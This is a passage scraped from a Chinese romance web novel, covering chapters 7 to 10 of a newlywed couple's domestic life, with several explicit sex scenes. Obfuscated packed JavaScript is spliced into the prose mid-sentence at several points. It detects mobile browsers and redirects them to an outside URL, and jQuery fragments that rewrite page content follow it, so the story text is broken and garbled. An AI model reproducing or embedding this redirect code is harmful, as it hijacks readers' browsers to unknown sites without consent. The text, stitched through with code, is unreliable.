姜清杳回屋,沈观果然跟上。 她忍了又忍,还是问道:“你不用去书院吗?” 沈观说书院老师知道,给了假。 姜清杳不管他了,她困乏得厉害,倒头就睡在床的外侧,没给沈观留位置。 一觉睡醒,睁开眼就看见沈观坐在床边小榻上看书,一只手搭在床沿,不知道什么时候勾住了她的手指。 听到姜清杳醒来的动静,沈观立刻转头看过来。 姜清杳:好像小狗啊。 一阵说不上来的酥酥麻麻的感觉,总之姜清杳没再拒绝沈观在府里走一走的请求。 天气冷着,屋里生了地龙暖和得很,一出了门,寒风瑟瑟吹来。 半夏和芸香带着厚雪髦和暖手炉要跟着。 “你们不用跟着,我和夫人一起散散步。” 沈观挥退两人,只拿了件雪髦披在姜清杳身上。 沈府虽大而空旷,但该布景的地方都很雅致,不至于留白,凉亭回廊皆是黄花梨木,上面雕着云纹腾龙,既气派也不失底蕴。 沈观一路给姜清杳介绍着,又道:“这处宅子原是我祖父在的时候,我幼时住过,后来迁到京城,便渐渐荒废了。” “前几年我回来,请人重新修葺了一番。” 走到小半截路时,姜清杳突然想起:“忘记拿暖手炉了。” 她的手有些凉下来。 沈观靠近,握住她的手,少年人的体温总是炙热,大手包裹住姜清杳,暖意融融,不一会儿指尖都暖起来。 “走吧。” 沈观牵着她的手没放开。 这回他有一个足够正当的理由牵着她。 姜清杳也第一次没有在他牵她时挣扎。 走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这些我都帮少夫人分好类了,都是今年的账本,少夫人可以先学着看,还有些账本册子数量太大,晚些我会找人一同搬来给少夫人过目。” “等等。”姜清杳忍不住出声制止了。 她头都大了,听了半天,只听出来两点。 第一,沈府或者说是沈观很有钱,家大业大,一点都不像姜县令说的家道中落。沈观的私账里记着的宅邸田地多到数不清。 第二,沈观要让她接手府内财务,新婚第一天把家底全露了,外加财政大权都交给她。 立志要做一条咸鱼的姜清杳表示一点也不想管,有管账的时间她多睡一会儿多玩一会儿不好吗。 她斟酌了一下措辞:“我知道了,不过这些账本,关管事都先拿回去吧。我没管过账本,恐怕没法胜任,晚些我会和沈观说的。” 关管事是沈家的老人了,随着沈家从京城又迁到溪金县,沈家又是大的宗族,旁支派系也多,关管事见过的大风大浪多了,内宅阴私也多了,因为沈观要迁回祖籍,沈家碍于形势,不便迁徙,恐引得京城那边不满,沈父沈母便让关管事跟着来照顾,才好放心。 这还是关管事第一次见到将管家权,府里财务,公子私账一同往外推的夫人。哪家哪房的夫人没有为了一点管家权,账本争过吵过呢。 关管事犹豫了一会儿,又观察姜清杳神色,看着更不像推脱,翻两页账本便开始揉额角了。 关管事在京城见过的美人也不少,但这少夫人鬓发鸦黑,即便不施脂粉,也是肤白骨艳之姿,便是做这样的动作,更让人瞧着有怜爱之意,声音也清灵悦耳,堪称国色。 这也难怪,公子不顾沈家反对,执意要搬回这里住。 关管事取了个折中的法子。 她将府内账目取了回去,留下沈观的私账给姜清杳。剩下的便让两人自己商量。 姜清杳表示要拿就一起那回去,她一本账都不想看。 对此,关管事给出的解释是:“少夫人有所不知,公子的私账是今日早晨才交给我整理,要我一起给夫人,往日里,公子私账,我也是没资格过目的。有劳少夫人转交还公子。我先告退了。” 下午逛完沈府,天色还早,沈观像小狗一样,又跟着姜清杳要进屋。 姜清杳总感到不自在,又觉得和沈观并不熟悉,两人也没什么好说的。 他在屋子里,还总要牵她的手,分明昨晚之前是一对陌生人,今天就要用夫妻相称了。 姜清杳索性就让沈观去看书。 沈观动动嘴唇没说什么,漂亮的眉眼专注地看她一会儿,也没等到姜清杳松口,就灰溜溜的走了。 对,灰溜溜。 是姜清杳给他加的形容词,实际上少年身长玉立,今日又穿一袭烫金滚云的衣袍,怎么也说不上灰溜溜。 但姜清杳就是莫名看出点这意味来。 一直到晚上,沈观终于出现了。 不知道是不是白日里姜清杳对沈府用膳地方的遥远表现出来的不满太过明显,下午的时候有工匠搬了一张崭新的黄花梨木的桌子要两人的院子正厅来,侍女们整理一番,半夏去问,沈府的丫鬟便说是公子说府上人丁不多,以后用膳就摆在院子里。 说的倒也是,沈府如今正儿八经的主子,只沈观和姜清杳两人。 但姜清杳想,沈观应当是注意到了。 晚膳的菜肴仍是双数,又都是姜清杳爱吃的,样样都合胃口,她吃的开心,沈观看的开心。 姜清杳吃饱喝足后,问沈观:“你们请的是哪里的厨子?怎么天南地北的菜都会做?” 姜清杳毕竟不是土著,前世吃过的菜式多了去了,因此她爹姜县令才总说她分明足不出户,却总能换着花样的点菜,真不知道从哪听来的。 沈观眨眨眼:“从京城带回来的。” 喔,那倒说的过去很合理了,毕竟即便是古代的京城,也可称得上富贵迷人眼,那儿的大厨见多识广,会做的菜式多也不稀奇。 姜清杳点点头:“原来是这样。” “对了,下午府里的关管事来找过我。”姜清杳把事情经过一说,委婉的表达了自己不想管账的意思。 沈观捏着她的手,沉吟一会儿:“是我考虑不周了。府内琐事繁多,容易忧神,往后我让关管事定期向你汇报即可。” 姜清杳松口气,又指了指:“你的账本都在那儿呢,我没乱动。” 姜清杳让芸香将那些账本收进小匣里了,放在柜子最上层,还上了个小锁。 沈观顺着看了一眼,笑了笑。 “好,那就放那里吧。” 啊? 姜清杳睁圆眼儿,有些不解。 “你不拿回去吗?”她正要把小钥匙找给他呢。 下午半夏和芸香整理的时候,不停地惊呼,跑到姜清杳蹦来蹦去,一会说哪里哪里竟然是姑爷的地,一会儿又说原来哪个地方有沈家的股。 姜清杳听着,也觉得这一小匣子价值有些不菲,出于谨慎,她让半夏把自己原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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屋里的烛火还未完全熄灭,昏黄但不完全明亮。今夜比昨夜更容易看清对方。 姜清杳盯着沈观的眼,长长的睫,微微上挑的眼尾,鼻尖高挺,唇软而冷润。 这样俊美无俦的少年模样,耳根红着,清越的嗓音喑哑,沈观按着姜清杳莹润的肩。 少女咬着唇,鸦黑的长发散落在背后,发是绸黑,肤是雪白,更衬得整个人清艳无双。沈观紧紧盯着她。 烛火渐暗,才稍歇。 姜清杳累得手指都没力气动,推推沈观,这人还埋./在里面,抱着她吻她的耳垂。 感受到姜清杳的推拒,沈观平复了一下,也无济于事。少年难受地在她耳边呢喃,清杳,能不能再来一次。 他说:“我有个怪毛病。” 一直到烛火都熄灭了,姜清杳脑海里还在想,昨晚和今晚,又想起她原本好奇的事情。沈府为什么东西都是成双成对的。 原来是这样。 可是这也不是沈观两次以后,一时不防姜清杳侧身的动作,自制力不够不慎又交./待一次,央着她来第四次的理由啊!!!! 和离!她要和离! 8. 第 8 章 今天不和离,下次是不是要一夜八次了? 姜清杳又累又困,抱着这样的想法入睡,连沈观什么时候抱着她擦洗沐浴的也无知无觉。 翌日,姜清杳睡得比新婚第一晚还迟。 醒来时,沈观倒是不在。姜清杳看看窗外的天色,估摸着快要用午膳的时候。 半夏和芸香听到动静,进来服侍她穿衣。 “小姐,你醒啦。该用午膳了。” “嗯。” 姜清杳起身,险些站不稳。身上酸涩,白皙的脸上飞霞。好在半夏和芸香没注意到她的异常。 只是芸香对着镜子指了指:“小姐,这儿红了一块。” 镜中少女容貌妍丽,眼波流转间,有一丝浑然天成的妩媚之态。鬓云松散,纤长的颈侧一抹红痕格外明显。 是昨晚沈观从后拥着她时,吮咬着,她疼得侧了身,反倒教那人多了个央着她来第四次的由头。 姜清杳越想越羞恼。 眼下红了一片,脸热得厉害,怕被芸香和半夏看出端倪,取了些脂粉,将颈侧的痕迹遮了。 姜清杳抿唇:“去取笔墨纸砚来。” 半夏和芸香面面相觑。 这回没上回那么生疏了,这么短的时间,甚至端了研好的墨,找来了上好的宣纸和狼毫笔。 效率高得姜清杳都惊讶的大夸特夸了一番。 狼毫笔甚至还沾好了墨。 姜清杳展开宣纸。 半夏往外跑,吭哧吭哧又捧回来一块镇尺,帮姜清杳压住宣纸的一端。 姜清杳提笔写下三个大字。 和离书。 惯例的狗刨式。 半夏和芸香盯着看半天。 芸香指着第三个字兴奋道:“我认出来了!我认出小姐写的字了,这是‘书’字!” 姜清杳:…… 是认对了没错,但是你一副能认对你家小姐写的字是一件多难得的事情的样子是什么意思。 姜清杳左看右看,觉得自己写的还不错。 偏偏半夏和芸香怎么猜都没认出前两个字。 姜清杳就指着说:“这是‘和’字。” “这是……”离字的半个音还没发出来,姜清杳紧急打住。 “方才你的侍女来找我要笔墨纸砚,我想着来看看。”原来沈观不知何时来了,笑吟吟地问:“这是在做什么?” 姜清杳下意识的加重笔墨,将前两个字一笔涂抹。 她再看一眼沈观的模样,宽袖挽着,修长指尖上还沾着点墨汁。 合着芸香和半夏是直接从正在写字的沈观那儿讨来的笔墨纸砚啊,姜清杳就说这两个小孩这回怎么这么高质高效的完成任务呢。 想悄摸摸写和离书就算了,还被此事另外一位主角撞上是怎么回事啊。 姜清杳有苦难言,牵起一点笑:“没什么,我心血来潮,想练字呢。” 沈观若有所思:“是吗?我看看。” 他走近两步,姜清杳心虚地又划了几笔,生怕他认出前两个字来。 她全幅心神都在那副字上,自然也看不到身后沈观笑意顿了顿,很快恢复如常。 沈观认真打量了一会儿,直到姜清杳等得都侧过身来,抬头看他时,他才有些憋不住笑意:“清杳,确实要练练字。” 姜清杳听出他取笑,有些不服气。 “我只是不太能把控毛笔。” 沈观顺着她的话,佯装讶异:“哦?” 姜清杳翻出支炭笔,又板板正正写上“沈观”两个字,一笔一划,认真极了,写的倒确实很端正。 沈观沉默了一会儿,摸摸下巴点头肯定:“确实是一手好字。” 姜清杳是知道沈观学问好的,可算得上的是古时候的县状元。姜县令不止一次和她说过,岳薇也帮她托人打听过,这会儿竟得了沈观的夸赞,不由得有些得意,拍拍胸脯:“自然啦。” 沈观笑,又道:“果真厉害。清杳识字如何?我说几个字,能否写出来?” “没有我不识得的。”姜清杳被夸飘了,大言不惭,大手一挥:“说吧。” 沈观看着她,慢慢道:“君珩。” “君子如珩。” 姜清杳背过这个,一笔一划写出君珩两字。 沈观左看右看,十分满意。 “君珩,沈君珩。”他握住姜清杳的手,将她手上的炭笔换成那支狼毫,从身后拥着她,带着她在宣纸写字,一边道:“清杳,君珩是我的字。” 姜清杳唔了一声。她更关注沈观带着她写的是什么。 几笔落下,“姜清杳”三个大字便和“沈君珩”上下排列着。就连名字都看着很是般配。 沈观的字很大气,苍劲遒丽,姜清杳很喜欢。 她喜欢这样的字,比姜县令请来的那些先生教她的秀窄的字体好看多了。 沈观将镇尺拿开,把那张写有两人名字的宣纸收起来,姜清杳疑惑的看他。 “这个归我,作为回报,我教你练字。” 好划算的买卖。 一张用过的废宣纸就能换来一个一对一的书法私教老师。 “好。” 姜清杳眨眨眼,毫不犹豫的就同意了。 用过午膳以后,姜清杳就到沈观的书房去。 沈观给她安置了一个小案桌,让她在一旁练习,他帮她矫正坐姿后,拿来自己练字时的临帖给她。 这样的练字是很枯燥的。本以为姜清杳练一会儿便没耐心,没想到姜清杳专心致志地,写了有一个时辰,还是沈观来唤她,她才停笔的。 姜清杳后知后觉有些累了,想回屋去,但她早上睡得迟,倒也不是很困。 沈观想让她陪他,找了条厚毛毯铺在红木贵妃椅上,又找了几本话本游记给姜清杳。 几个暖炉都在姜清杳身旁,她就懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924020|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋洋地躺着,时不时翻两页话本,好不惬意。 偶尔,姜清杳会悄悄打量那边端坐着的沈观,即便是坐着,少年也是身姿笔挺,一点没有松懈。 不像姜清杳,能靠着绝不坐着,能坐着绝不站着。 但姜清杳观察了好几次,沈观看似在读书,准备明年要下场的书目,但大多数时候,都在埋头写着什么,好像在回信件之类。 写好的信件,他就收到一旁地小匣子里。 下午的时候,沈观身边的侍卫来取过一次。 姜清杳对这个侍卫的印象很深,因为沈观身边只有这一个人贴身随侍,甚至这人也总是不在身边的。 看到沈观写信,姜清杳翻两页话本,见里面的大将军取得美人归了,不由得想起自己也已经有一些时日没有给表哥去信了。 说起来,表哥恐怕还不知道自己已经成婚了。 姜清杳一时间有些怅然,心里想着这几日要记着此事,将自己的近况和表哥说一说。 一日过得很快,沈观怕姜清杳无聊,很快结束了手上的事情,问及明日回门的事。 沈观说:“回门礼我都已经备好,明天早些,等你起来,便去姜府请安。” 一说到这个。 “我怎么早起?”姜清杳忍不住嗔怪地看一眼沈观。 少女躺在贵妃榻上,穿着再轻便不过的外衫,里面便是件小褂,铺在贵妃榻上的毛毯上雪白的茸毛围在少女漂亮的小脸旁,屋内的地龙暖得姜清杳脸颊白里透粉,随意地一瞥都是千般娇嗔,万般娇憨。 这一眼看得沈观后背都热起来,下意识便去握姜清杳的柔夷,他的温度烫得姜清杳心一颤,羞恼地瞪他。 “你不许。”不许再那样了。 “明天还要回门。” 姜清杳拧着细眉,她可不想明天还是睡到中午才起。 “好。”沈观低低应她。 姜清杳看他挺好说话的样子。 趁机:“以后也是。” 这会沈观抿着唇不说话了,他蹲在她身旁,捏着她的手,换了话题,低声:“昨晚是我孟浪了。” 他注意到姜清杳今天一天都不太爱走动。 “清杳,晚些我帮你上药。” 上什么药,往哪里上药。 姜清杳睁圆眼儿,拒绝:“不要。”她拒绝地很快,很坚决,还摇头表示自己的决心。 但沈观用明天还要回门,上了药会好的快些的理由说服了她。 姜清杳确实有些受不住沈观那样的./,不仅如此,还是那样的频率。 但她坚持不要沈观帮忙,自己红着脸涂过后,才准沈观进屋。 沈观进来时,闻到一阵药味,不由得多看了两眼姜清杳绯红的小脸。 他打了水来给她洗手。 夜里,两人睡觉还是一床被子,但沈观难得老实,只是抱着姜清杳,姜清杳也难得早睡了一次。 9. 第 9 章 次日姜清杳心里惦记着回门,醒了个大早。 但睡惯了懒觉,坐在那儿缓了好一会儿,眼睛还迷迷蒙蒙的。 清晨气温更低,屋里生了地龙也有些寒意,姜清杳赖在被窝里,身旁还有个沈观这样的人形火炉可以取暖,更加懒洋洋地。 最后还是沈观起身,将她从被窝里捞起来,换上衣服出发了。 说是出发,也不过是右边门出左边门进。 毕竟两家是隔壁。 今天的裙衫是沈观替她挑的,姜清杳换上以后,才发现沈观今天也穿了一袭配色相同的衣袍,连衣料花纹都一样。 可以算得上是古代的情侣装。 对此沈观给出的解释是,这块云锦料子是沈父在京城就职时,皇帝赏赐得来的,裁制好两套,从溪金县送来的。沈父沈母没法前来,为此很有些过意不去,叮嘱沈观回门这日穿上,以表沈家的重视。 好罢。 姜清杳也不好再说什么,但两人一进了门。 姜清杳立刻去看她爹姜县令的神情,果然也对两人相似的衣服很满意。 她就知道。 她爹恐怕这会儿以为两人感情甚笃了。 毕竟姜清杳听府上的嬷嬷说过,姜县令原配尚在世的时候,两人感情和睦,如胶似漆,姜县令的衣衫都是姜夫人裁制的,和姜夫人用一样的布料。 沈观给姜县令敬茶,改口唤了岳父。 姜县令笑得牙不见眼,笑眯眯给了厚厚的大红封。 姜清杳在一旁看着眼馋,也凑上去喊。姜县令倒不厚此薄彼,也给了一个大的。 寒暄过后,天色还早。 姜县令对姜清杳道:“清杳,今日你姑姑来了,你同她去说会儿话。沈观留在这里和我聊聊。” 原配早亡,家中没有旁的女眷,姜县令独自一人抚养女儿长大自然有很多不便,好在姜县令那时有个小两岁已经成婚的妹妹,也嫁在抚阳县里,来往方便,便常来照顾姜清杳。 姜县令始终还是对沈观飞速就答应成婚这事儿有些狐疑,但又调查不出什么结果,更怀疑沈观有什么隐疾了。 他一个当爹的自然不好去问女儿这些,拐弯抹角的请了姜清杳姑姑来。 好在姜清杳成婚前,男女之事也是姑姑来教的,还给了她几本册子和避火图。 因此姜姒姑姑含蓄的问姜清杳时这样私密之事时,倒也不突兀。 只不过姜清杳有自己的打算,也猜到姑姑来问肯定有姜县令的意思。 她模棱两可:“好也不好吧。倒是没什么隐疾。不过我还是不喜欢成婚。” 虽然除了那事太过火,姜清杳挑不太出沈观的毛病,兼之对方容貌俊美音色清越,姜清杳这个重度颜控加声控其实很喜欢,沈观又处处体贴,确实是个不错的夫君。 可姜清杳骨子里毕竟是个现代人,见识过前世父母的争吵打骂,她很难想象以后都要和一个原本陌生的人捆在一起吃一起睡。 姜清杳不想把话说的好像自己对沈观特别满意,但又没有什么理由说对方不好。 何况她是个怕麻烦的人。 姜姒姑姑看出来,摸摸姜清杳的发,她看着姜清杳长大,虽是姑姑,但操的心可算得上是半个母亲。 她温柔说:“既然因为选秀的事已经成婚了,不妨相处看看。” 姜清杳抱住姑姑,点点头。 到了下午,回了沈府。姜清杳有些恹恹地,拿了本话本看也觉得没意思。 又不想睡觉,就在那儿玩手。 沈观在一旁,见状,起身离开了。 过了一会儿,沈观衣袍沾着点泥,手里摘了一扎花回来了。 姜清杳惊讶:“你这是去干嘛了?” 沈观朝她晃了晃手里的花。 姜清杳仔细辨认:“凤仙花?” 沈观点头,笑吟吟问:“想不想染丹蔻?” 想啊! 姜清杳猛猛点头。 沈观就把那扎凤仙花都摘下来,捣汁,固色。 半夏和芸香在一旁很有危机感的偷师。 小姐的新姑爷,半夜不要我们伺候小姐,今天晨起还把她们给小姐换衣的业务给抢了,现在又是教小姐写字,又是帮小姐染丹蔻! 染丹蔻!小姐想染丹蔻很久了,奈何芸香和半夏都不会,小姐也就没再提了。 可是现在新姑爷连染丹蔻都会,长此以往,小姐心里哪还有芸香和半夏啊。 两个小丫头危机感满满,一边抱头痛哭,一边偷师,心里暗暗想要学会了下次给小姐染。 沈观和姜清杳都没想那么多,哪里知道两个小丫头内心戏这么多,芸香和半夏问,沈观就教了,嫣红的花汁弄好,找来绢布,小心翼翼地染上,又包裹起来。 沈观:“这样反复三四次就可以了。” 芸香和半夏自认为学会了,争先恐后地说:“我来,我来。” 猴急的样子。 姜清杳都看乐了,笑眯眯的说:“那接下来几次你们来吧。” 沈观看看芸香半夏,又看看姜清杳,悠哉悠哉地拿了本游记,坐到姜清杳一旁,和她肩挨着肩。 姜清杳问他是怎么学会染丹蔻的。 沈观把手里那本游记翻到倒数几页,指给她看。 “这上面记载的。” 沈观递给姜清杳看,她低头,翻着书页,被凤仙花染丹蔻那一页一旁的杂记故事吸引过去。 少女侧脸很专注,长睫低垂,唇瓣水润。 沈观盯着看了半晌,才挪开视线说:“清杳,我明日要去书院了。” 姜清杳闻言眼睛一亮。 一转头,就见沈观抿着唇,一双眼眸黑沉沉地盯着她,似乎对她高兴的反应很失落。 姜清杳收敛了一下自己的高兴,斟酌道:“嗯,好。毕竟你明年三月就要下场考试了,还是学业为重。” 她绞尽脑汁说了一番话。 沈观还是闷闷不乐的样子。 半夏和芸香打破了沉默的气氛,欢呼:“小姐,染成了!” 姜清杳低头去看,十指纤纤,指尖嫣红,更衬得肤白,看上去很漂亮。 她左看右看,扬手对着阳光下翻来覆去的照,也很喜欢。 心情好多了。 再看一眼这手丹蔻的大功臣,姜清杳举起手来,伸到沈观面前,莞尔问:“沈观,好看吗?” “好看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924021|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她主动和他说话,沈观眼睛亮起来,凑过去夸她。 真像小狗。 姜清杳在心里给他下了定义。 晚上,姜清杳去沐浴,她怕今天新染的丹蔻还没固好色就被水淹了,就唤芸香进来帮她擦身。 唤了几声,也没听到芸香答应。 过了一会儿,沈观进来了,拿着干净的绢帕,解释:“她们两人不在。” 姜清杳听到他的声音,脸瞬间通红,伸手挡在身前。 浴桶里的水氤氲出白色的雾气,显得人更加柔美,沈观只看到雪白的肌肤,嫣红的丹蔻,抱臂挡在两团柔雪前,更凸显出弧度。 沈观哑了声音:“清杳,我帮你。” 姜清杳一听他声音就知道不对劲,强自镇定:“不,我自己来吧。” 沈观沉默一会儿,轻笑,退了一步:“丹蔻还没固色,沾了这样的热水肯定留不住了。” 他说他只帮姜清杳简单擦洗一下后背。 姜清杳看看自己才染了丹蔻的纤纤十指,犹豫半天,看着沈观那张俊美的脸,点头同意了。 沈观守约,打湿了帕子,帮她简单擦了下就出去了。 姜清杳等他出去,才开始深刻反思自己的意志力不坚定,每次一见沈观那张漂亮的脸,或者露出小狗的表情,就忍不住心软了。 她泡了一会儿,水快凉了才出来。 换了寝衣,钻进被窝里,才发现里面还放了个汤婆子,暖烘烘的。 芸香和半夏不知道去哪儿了,那这个汤婆子只能是沈观放的了,姜清杳想起成婚那晚,她被窝里也有一个汤婆子。 沈观也洗好回来,躺上了床,侧过身来检查姜清杳十指上的丹蔻。 姜清杳担忧:“应该没事吧,我刚才很小心。” 沈观嗯了一声,放下她的手,安静了一会儿,突然侧首过来轻吻了吻姜清杳。 他先吻她白皙的耳廓,再握住姜清杳的手和她十指相扣。 姜清杳耳后那一片很敏感,也不知道沈观是不是发现了,最近几次都爱先从亲吻耳后开始。 她被吻的浑身酥酥麻麻的,沈观探进去,碰到一手湿润,气息更沉。 姜清杳推他,很小声的说:“不行,那天你……我还有些不舒服。” 沈观会意,她是说他要得太频繁那晚。 今天白天姜清杳还走了不少路。 “怎么不告诉我?”他皱眉,收回手,抬手在暗柜里取了药膏,俯身下去。姜清杳拦都拦不及,感受到少年的呼吸喷洒在上面,脸红得要滴血一般。偏偏这人,看过后简单说了句,是有些破皮了,又俯身下去。还说,清杳,我给你舔舔。 姜清杳脸都要烧起来,她用劲揪他耳朵,手上却渐渐没了力气,一阵温热舔浓后,又换成了冰凉的药膏。 良久,沈观才抬头,起身打水给睡着的姜清杳清洗。 姜清杳早上起来,沈观已经去了书院。 半夏端来煨火好几个钟头的红枣银耳汤,说是沈观出门前叮嘱的。 芸香哪壶不开提哪壶,笑嘻嘻的:“小姐,银耳汤可是个好东西,滋阴补气血,还可以美容养颜呢。” 姜清杳:…… 10. 第 10 章 姜清杳想起昨晚的沈观,手心都开始发烫。 她摇摇脑袋,不再去想。转而问:“他去书院了?” 芸香点点头:“姑爷卯时起,在小厨房煨上银耳汤,叮嘱过便走了。” 姜清杳问:“他可有说什么时候回来?” 芸香摇头。 一旁半夏说:“应该是申时吧。往常咱们在姜府的时候,那几个小丫鬟日日等着这个点到门口去看。” 衡阳书院申时散学。 这一日都很轻松自在,和在姜府时没什么两样,中午吃过饭,半夏和芸香搬了个贵妃躺椅在院子里,又铺上厚毛毯,姜清杳一边晒太阳,一边吃点心,等太阳降下去点,就挪回屋里。 半夏和芸香这几日找了个新乐子,和沈府的几个丫鬟凑成搭子,在一处打叶子牌。 难怪昨晚姜清杳寻不到人,原是这两个丫头跑去偏院打牌了。 好啊,姜清杳一人赏了一个脑瓜子。 半夏和芸香嗷嗷叫,叫完了,见姜清杳一如既往地好脾气,又跑上前去拉着姜清杳一起打。 就在屋子里,搬了个小案几,三个人团团坐。 暖炉烤得人热热的。 姜清杳没玩过这个朝代的叶子牌,但是两人给她讲一番,规则和现代大家玩的扑克差不多,更简单些。 姜清杳玩了几把,便会了。 好久不玩,一时上头,几人一下午的时光便消磨掉了。 她们只玩,不赌,输了的惩罚是吃个脑瓜子,赏个刮鼻子就算了。 姜清杳开始还好,但叶子牌到底不完全是扑克,玩到后面比不上早会的芸香半夏,连输好几把。 两个小丫头毫不客气在小姐脸上刮鼻子。 姜清杳不服气,誓要赢回来。 打着打着,申时都到了,沈观也回来了。 成婚后,一日未见到姜清杳,沈观只觉得比以前那些见不到姜清杳的日子更难熬。一散学,拒了几个同窗要一起同行的请求,自己半点没耽误的赶回来。 里屋的厚毛帘一掀开,一阵暖意扑面而来。 一眼看过去,三个人在正中间专注地打叶子牌。姜清杳坐在对着门那位置,鼻尖都有些红了。 沈观皱眉,观察了一下。见几人只是简单玩乐,才稍缓神色。 姜清杳又输一局,懊恼地叹口气,一抬头就看见少年长身玉立,逆着微光,俊美的脸颊半明半暗,但隐隐能看出些不太赞同的神色。 “沈观,你回来啦。”姜清杳也不知道为何,见沈观露出这样的神情,下意识有些像以前想逃避先生的训诫一样。 先发制人,笑脸迎人。 伸手不打笑脸人。 果然,这一招百试百灵。 沈观怔了一下,走上前来,坐在姜清杳身边:“在玩叶子牌?” 姜清杳点点头,握拳:“你会吗?我输给这两个丫头一下午了。” 沈观轻笑:“会一点。” 姜清杳怀疑的打量他。 没有哪个人受得了心上人这样怀疑打量,沈观更不能。 沈观就顶了她的位置,坐下来,会一点给她看。 没几把,就把半夏和芸香打得嗷嗷叫。 注意,此打非彼打。 沈观果真如他所说会亿点,轻松地赢了叶子牌,姜清杳就在旁边充当打手,上前给芸香和半夏刮鼻子或者敲脑门,连着几把下来,痛快的一雪下午仇。 玩了几把,半夏看出门道,连忙嚷道:“小姐,姑爷会记牌!”她向姜清杳告状。 芸香也把牌一丢,说不玩了,再玩下去脑瓜儿要被敲裂了,她娘本就说她比旁人笨一些。 两个小丫头顶着通红的脑门,抱头互相诉苦去了。 沈观坐在那儿,慢条斯理地将叶子牌收起来整理好。 他问姜清杳今天都干了什么。 姜清杳眨眨眼:“吃饭睡觉晒太阳打叶子牌。” 她看上去很满意今天一天。似乎也一点不想他。 沈观欲言又止,垂眸沉默了一会儿。 等到晚上,突然问她想不想泡温泉水。 姜清杳一听,眼睛亮起来:“抚阳哪儿有温泉?” 衡阳书院在城外,去往那里的路上要途径一处山庄,沈观说那里面有。 姜清杳每隔一段时间倒是会去城外的庙里上香,知道有那么一座山庄,但山庄似乎许久没有主人居住,附近的人也不知道里面有温泉眼。 姜清杳想去,沈观就说:“那过几日,我让人将里面修整一下,带你去。” 姜清杳想了三秒,有些惊讶:“你的啊?” 沈观点点头。 “祖父还在世时修建的山庄,他老人家离世后,便许久没有人去了。只有几个老管事还在。” 姜清杳第一次生出想问问沈家原本是做什么的冲动,可惜姜县令多次叮嘱过她了,沈观不主动提就不问,免得不小心戳了人家家里的伤心事。 不过问不问都无所谓,只知道是大户人家就好了。 好奇心约等于无的咸鱼躺平。 姜清杳好好地捂在被窝里,身边的少年体温又烫起来。 沈观平复不下去,去拉姜清杳的手。 姜清杳挣了挣。少年就凑到她耳边可怜兮兮地:“清杳,第三天了。”第三天没有碰她了。 “帮帮我吧。”他低声央求。 少年气盛,牵着姜清杳,一边引她握着,一边吻她的耳尖。 姜清杳新染得丹寇很好看,衬得她肌肤玉白,她的手心很柔软,指尖嫣红。 即使圈得不完全,也足够让沈观兴奋了。 沈观言出必行,等到小旬假的时候,山庄便打理好了,他领姜清杳去看了一次,在那儿住了一晚。 本以为夜晚的山上会更冷些,可是没有,意外地温暖湿润。 可能是因为有温泉眼的缘故。 沈府屋里的地龙暖炉烤得虽然舒服,可是容易干燥,姜清杳觉得脸上都绷紧着难受。 她想在山庄住几日。 正和了沈观的意思。 这里离衡阳书院很近。 沈观的假少,书院老师这几日都盯着他,觉得他自从成婚后便有些心不在焉了,往常可以静心看许久的书,写许久的文章,近些天一到申时便走。 几个老师都对他寄予厚望。 一边恨铁不成钢,一边加倍考问沈观的学业。 姜清杳乐得自在啊,直接向好姐妹岳薇发起温泉邀请。 岳薇下了马车,第一眼是惊叹山庄的气派,第二眼是打量姜清杳的气色。 姜清杳带岳薇一起去了自己的温泉池子里。 沈观花了几天的时间专门给她砌了个蓝田暖石的池,只她一个人用。 温泉水暖融融的,雾气氤氲,岳薇冷不丁冒出来一句:“清杳,我爹给我说了一门亲事。” 岳薇比姜清杳大一岁。 姜清杳连忙问:“是抚阳哪个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924022|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家?” 岳薇冷冷道:“是溪金县的唐员外。” 姜清杳沉默了一下,溪金县富裕,唐员外也有名,已近中年,以一年克死了三任年轻妻子而闻名,不例外地,这些女子的娘家不管怎么闹事,没过多久都会消停,反而在事后得到了不少好处。 